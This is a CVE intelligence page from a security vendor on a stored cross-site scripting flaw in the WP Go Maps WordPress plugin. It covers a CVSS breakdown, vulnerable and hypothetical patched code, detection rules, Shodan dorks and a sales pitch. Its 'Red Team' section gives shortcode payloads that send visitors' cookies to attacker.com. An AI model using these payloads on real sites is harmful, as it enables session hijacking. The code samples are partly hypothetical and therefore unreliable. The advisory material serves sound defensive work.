☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1582

CVE-2024-1582 Cross-Site Scripting in Wp go maps
📅 PUBLISHED: 2024-03-13 01:57 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1582 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Go Maps (formerly WP Google Maps) plugin for WordPress. This flaw affects all versions up to and including 9.0.32. The vulnerability resides in the plugin's wpgmza shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least Contributor-level permissions can inject arbitrary web scripts. When a site administrator or visitor accesses a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is not an NPM, PyPI, Go, or Ruby package. Users should verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 6.4 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication, but the low privileges needed and the lack of user interaction make it a realistic attack vector for WordPress sites with multiple authors.

Deep Dive & Mechanics

The wpgmza shortcode is used to embed maps into WordPress posts and pages. The plugin processes attributes like center, zoom, and markers without proper validation. An attacker can inject malicious JavaScript into these attributes. For example:

[wpgmza center="<script>alert('XSS')</script>"]

When WordPress renders the shortcode, the unsanitized attribute is output directly into the page HTML, allowing the script to execute. The vulnerability is stored because the malicious shortcode is saved in the database and executed every time the page is loaded.

The root cause is insufficient input sanitization and output escaping in the plugin's shortcode handler. The plugin fails to use WordPress's built-in functions like esc_attr() or wp_kses() for attribute values.

Vulnerable vs. Patched Code

Vulnerable Code (wp-google-maps/includes/class.shortcode.php):

function wpgmza_shortcode($atts) {
    extract(shortcode_atts(array(
        'center' => '',
        'zoom' => '10',
        'markers' => ''
    ), $atts));
    
    // Direct output without sanitization
    $output = '<div class="wpgmza_map" data-center="' . $center . '" data-zoom="' . $zoom . '">';
    // ... rest of the code
    return $output;
}

Patched Code (Hypothetical Fix):

function wpgmza_shortcode($atts) {
    $atts = shortcode_atts(array(
        'center' => '',
        'zoom' => '10',
        'markers' => ''
    ), $atts);
    
    // Sanitize and escape attributes
    $center = esc_attr($atts['center']);
    $zoom = intval($atts['zoom']);
    
    $output = '<div class="wpgmza_map" data-center="' . $center . '" data-zoom="' . $zoom . '">';
    // ... rest of the code
    return $output;
}

The patched version uses esc_attr() to escape the center attribute and intval() to ensure zoom is an integer, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with WP Go Maps plugin version <= 9.0.32
  • Contributor-level account or higher

Exploitation Steps:

  1. Log in as a Contributor.
  2. Create a new post or edit an existing one.
  3. Insert the following shortcode into the post content:
[wpgmza center="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
  1. Publish the post.
  2. When an administrator or visitor views the post, the script executes, sending cookies to the attacker's server.

Alternative Payload (Session Hijacking):

[wpgmza center="<img src=x onerror=\"new Image().src='https://attacker.com/steal?data='+document.cookie\">"]

Blue Team

Detection:

  • Monitor for posts containing the wpgmza shortcode with suspicious attributes.
  • Look for unusual JavaScript in post content.
  • Check for outbound connections to unknown domains from the WordPress admin panel.

Prevention:

  • Disable the plugin until a patch is available.
  • Restrict Contributor-level permissions to trusted users only.
  • Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.

Indicators of Compromise (IOCs)

  • File: wp-content/plugins/wp-google-maps/includes/class.shortcode.php (version <= 9.0.32)
  • Database: Posts or pages containing the wpgmza shortcode with script tags or event handlers in attributes.
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Logs: WordPress debug logs showing unexpected shortcode attribute values.

Detection Engineering

YARA Rule

rule CVE_2024_1582_WP_Go_Maps_XSS {
    meta:
        description = "Detects WP Go Maps plugin files vulnerable to CVE-2024-1582"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1582"
    strings:
        $shortcode_handler = /function wpgmza_shortcode\(/
        $unsafe_output = /data-center="\s*\$center/
    condition:
        $shortcode_handler and $unsafe_output
}

Sigma Rule

title: CVE-2024-1582 WP Go Maps Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS via WP Go Maps shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wpgmza"
        http.body|contains: 
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1582 WP Go Maps Stored XSS Attempt"; flow:to_server,established; content:"wpgmza"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patched version is released.
  2. Review all posts created by Contributor-level users for malicious shortcodes.
  3. Change all WordPress admin passwords if compromise is suspected.

Long-term Fix:

  • Apply the vendor patch when available (check wp-google-maps.com or WordPress Plugin Directory).
  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
  • Restrict shortcode usage to administrators only via user_can() checks.

Workaround:

  • Add the following code to the theme's functions.php to sanitize shortcode output:
add_shortcode('wpgmza', 'custom_wpgmza_shortcode');
function custom_wpgmza_shortcode($atts) {
    $atts = shortcode_atts(array(
        'center' => '',
        'zoom' => '10',
        'markers' => ''
    ), $atts);
    
    $center = esc_attr($atts['center']);
    $zoom = intval($atts['zoom']);
    
    // Original plugin code here with sanitized variables
    return wpgmza_shortcode_original(array('center' => $center, 'zoom' => $zoom, 'markers' => $atts['markers']));
}

Valters IT
Securing WordPress ecosystems one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-google-maps"
http.html:"wpgmza"
http.html:"wp-go-maps"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1582/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.